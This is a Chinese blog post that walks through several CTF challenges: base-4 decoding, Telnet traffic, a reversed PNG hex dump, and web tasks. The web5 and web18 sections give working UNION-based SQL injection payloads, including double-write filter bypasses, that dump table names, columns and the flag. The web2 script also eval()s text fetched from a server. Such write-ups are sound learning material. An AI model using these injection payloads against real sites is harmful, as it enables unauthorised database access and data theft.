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 ctf writeup 专栏收录该内容
12 篇文章 0 订阅
订阅专栏

进制转换进制转换

给出一段数字字符串

1212 1230 1201 1213 1323 1012 1233 1311 1302 1202 1201 1303 1211 301 302 303 1331

仔细观察发现没有超过4的，猜测应该是4进制，然后用python脚本转成10进制，然后取对应ASCII码的字符串

脚本:

list = "1212 1230 1201 1213 1323 1012 1233 1311 1302 1202 1201 1303 1211 301 302 303 1331"
dict = list.split(" ")
flag = ""
for i in dict:
    flag+=chr(int(i,4))
print(flag)

流量分析流量分析

跟踪Telnet流量包flag就是登陆的密码

损坏的图片损坏的图片

https://blog.csdn.net/qq_45089570
https://blog.csdn.net/qq_45089570/category_9741560.html
https://so.csdn.net/so/search/s.do?q=web&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_45089570/article/details/105054718
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然后发现图片的首尾格式是错误的，再仔细观察发现起始的82 60 和 最后的 50 89 就是正常的格式反过来了

于是写个py脚本 实现他的逆序输出

脚本如下：

import re
str1 = "826042AE444E454900000000B202663A259009D007FD7A4A012179C8F76403B7F0077E803BF761A9D5EDDDCC1600EFDBE242F0BA
6E9F02C8F96935D3B7D90006800D5E927EC87043E920844E631AD4F9588003421A141930626DC77008FD5E927EC87043E920844E631AD4F9
588011FA10D108C9831041EDC01BDE7B43FC4213B5800D05BFB8037BB0D4F973BA1A4E00DEDF1397C9C08978164C792F0D2C01BD3191B7CF
7346B0077D2D42BF06697F89A735800DCE25B9AD7C933610B0E7F1B0D4F973BA1A4E0036F89CBE4E044BC0B263C9AC6960034C641AB77990
9012FC57A42E109443E93383740F7C4EAB5C75CEC13F2671210E725758C0CBD19FFEB23D7C71FC64A26FBEC78FD700A7FA6F800D001BE8C8
0034F883D0E5C4DF24F749BE1140F2737FFFABBAEF96403A7F001BE8C80034E1ABE2C7D26E8638217097C26E94EBA4A0B24DFF7475C2190D
76FE8C9012FD386AF8B1F49BA18E085C25F09BA532E1282C86AA67045E90B843196381B81AC014FE56E96BE49EF34EEF84DD2C107530A07C
7606C42D3B3506D0E2000D2E24E085C25F086A93826259300941644B92E003449900068C24FA45EA79E397127042E12F843549C1312C90D2
50593AFA8E517012FA378932000D1849F48BD483321C10B84BE1374A72CD635533822F497C260CB1AA9BCC42027891E9397E39F11B879861
27D22F520CC87042E12F84DD29841D635533822F487C2043586167986008FBB61F6A70218E09BA5AAF25F520B34B5941A9F930B001A71265
C2033240863826E96ABC97D482CB84C0B228353F261600DE9C4997165D0C704DD12E0E41893E4B19F2C80727C01BD006F43ED4E0431C1374
B55E4BEA416696B28353F261600DE9C4997080CC9DA18E09BA58D5BB3D106138164384AF5610B2043596983C01BD0FB53810C704DD2D5792
FA9059A5ACA0D4FC985800D38932E1019920431C1374B55E4BEA4165C26059381A9F930B001A483307DA9C0863826E96ABC97D482CD2D650
6A7E4C2C01BD38932E107A3C734D6863826E963BF57BE8AE3036A4A79A4812DCAF9924006F401BD006F401BD006F534437963821F56BE24D
56BF88304CE257A41A9FC99709CD2A73D2403B7F006F401BD006F401BD006F534437963821F56BE24D56BE1019933895EC9A6961825F0684
9FD06125C21F126A47C921A4911A48973F7006F401BD006F401BD4D10DE58E087D5AF89355AF8418267129A26EA87D4A696384AF49B0C985
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D5AF89BC3AD7C58E12BD58561CFA31709C0C658B5BE99DC006EB36EF9F267A497089A4EC9648A5B774164FA793C006EB36EF9F267A497089
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C1BAE00DEE0C44E61600DEA7321AFAF4B8800363AC91C3FFA400DE8037AA70C00DEAC50F8415A87D5334B1B06269C1600DEA7323AA3F7943
E499AC7CCE3D4BBC31AA4E087C2475913526BD1B0B3F49438D396403AFF006F54E1801BD58A1F082B50FAA7896360C4D382C006A688EA31F



E499AC7CCE3D4BBC31AA4E087C2475913526BD1B0B3F49438D396403AFF006F54E1801BD58A1F082B50FAA7896360C4D382C006A688EA31F
292CD4FBB47786C1BAE00370627FC1600353990636EA70C00356287C273F7EA1693EA9AF46C1889A5B4515F006F14D10D539C21F24D3442E
1139ACEA8F58A1F086A3DFC43EA9AF54D34B1A593619042D3B006F1600DE8C26F843549F08BD5AF84191302C8696A634C2C01BD354ED7445
EAC9A25FCB73C89A4AF56BE49E25A682D6E4B580E4F8037A00DE8C26F843549F08BD5AF84191302C8696A634C2C0069AA767C22F564D10E0
97C273C89A4AF56BE1250EB0513416B1A9DD06C800350EC7800D184DF086A93E117AB5F0832260590D2D4C6985800D354ECF845EAC9A273C
7184DF086A93E117AB5F0832260590D2D4C8985800DE7B769A4AF564D12FE58D52FF117AB5F24CD2D4C5A410B22F62F59261A73B06C71893
DD0CBD59344BF9631865EAD7C937388C7E3F1FE48E9FCFDFF66F9FF3F3FCFF3FC7E49E292E0B20020D9B5E6364AA2BAEEDC24B1C6CCDD9D3
D9D1FFFF27430E491B76D19DED5E7854414449031A000066A8725C00000006080001000000010000524448490D0000000A1A0A0D474E5089
"
str1 = re.sub(r"(?<=\w)(?=(?:\w\w)+$)"," ",str1)
list1 = str1.split()
list1 = list(reversed(list1))
str1 = " ".join(list1)
print(str1)

然后复制字符串到HxD中保存为图片是一个二维码，扫码得flag

web2
很明显我们得用Python脚本来跑
贴脚本

import requests
import re
url = "http://123.206.31.85:10002/"

res = requests.get(url)
print(res.text)
cookies = res.cookies["PHPSESSID"]
test = res.content.decode().split("<br/>")[1].split("</p>")[0] # 获得要计算的题
#test2 = re.split("<br/>\n(.*?)</p>\n",res.text)[1]
print(test)
result = eval(test)
print(result)
resl = requests.post(url,cookies={"PHPSESSID":"{}".format(cookies)},data={"result":"{}".format(result)})
print(resl.content.decode())

明明答案是正确的，但就是不显示flag，说计算错误，原因不明

web5
这道题是sql注入
我的payload1

http://6fe97759aa27a0c9.bugku.com/?mod=read&id=0 union select 1,database(),(select group_concat(table_name) from
 information_schema.tables where table_schema='web5'),3



payload2:

http://6fe97759aa27a0c9.bugku.com/?mod=read&id=0 union select 1,database(),(select group_concat(column_name) fro
m information_schema.columns where table_name='flag'),3

payload3:

http://6fe97759aa27a0c9.bugku.com/?mod=read&id=0 union select 1,database(),(select group_concat(flag) from flag)
,3



web 18
sql注入类型的题目
测试1’ 无回显，测试1’ --+有回显，这说明是单引号闭合，然后测试 1’ or 1=1 --+竟然没有回显，应该是过滤了or ,用brupsuit爆破
测试过滤的字符

用双写绕过过滤

爆列数

payloads:

1 ' oorrder by 4 --+



列数为3

爆报表 payloads:

http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,group_concat(table_name),3 from infoorrmatio
n_schema.tables where table_schema=database() --+

爆字段 payloads:

http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,group_concat(column_name),3 from infoorrmati
on_schema.columns where table_name="flag" --+

爆数值 payloads:

http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,group_concat(flag),3 from flag --+

web25

要我们输入一些东西，随便输入一点，没有什么思路，点进入下面的链接,点进去发现有一个下载链接发现点击下载不了,查看源
代码

把/2去掉试试，发现可以有几行字符串



暂时没有什么思路了，扫一下目录

有一个shell.php

我们进入发现有一个输入框，想起来之前得到的那个文本，一个一个输进入发现最后一个是正确的能得到flag
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